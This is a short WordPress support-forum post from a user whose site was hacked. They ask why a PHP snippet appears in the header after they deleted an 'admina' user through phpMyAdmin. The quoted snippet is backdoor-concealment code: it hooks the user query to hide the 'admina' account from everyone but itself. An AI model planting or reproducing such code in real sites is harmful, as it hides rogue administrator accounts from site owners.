Error / code showing after deleting user admina through phpmyadmin
-
Hey,
I just upgraded after my WP getting hacked.
It was on a pretty new install already so there were only 2 other users and I removed them through phpmyadmin now Im getting this in the header on the main site:
add_action(‘pre_user_query’,’yoursite_pre_user_query’); function yoursite_pre_user_query($user_search) { global $current_user; $username = $current_user->user_login; if ($username != ‘admina’) { global $wpdb; $user_search->query_where = str_replace(‘WHERE 1=1’, “WHERE 1=1 AND {$wpdb->users}.user_login != ‘admina'”,$user_search->query_where); } }
Anyone know what could be wrong please?
Thanks for any help
Viewing 9 replies - 1 through 9 (of 9 total)
Viewing 9 replies - 1 through 9 (of 9 total)
- The topic ‘Error / code showing after deleting user admina through phpmyadmin’ is closed to new replies.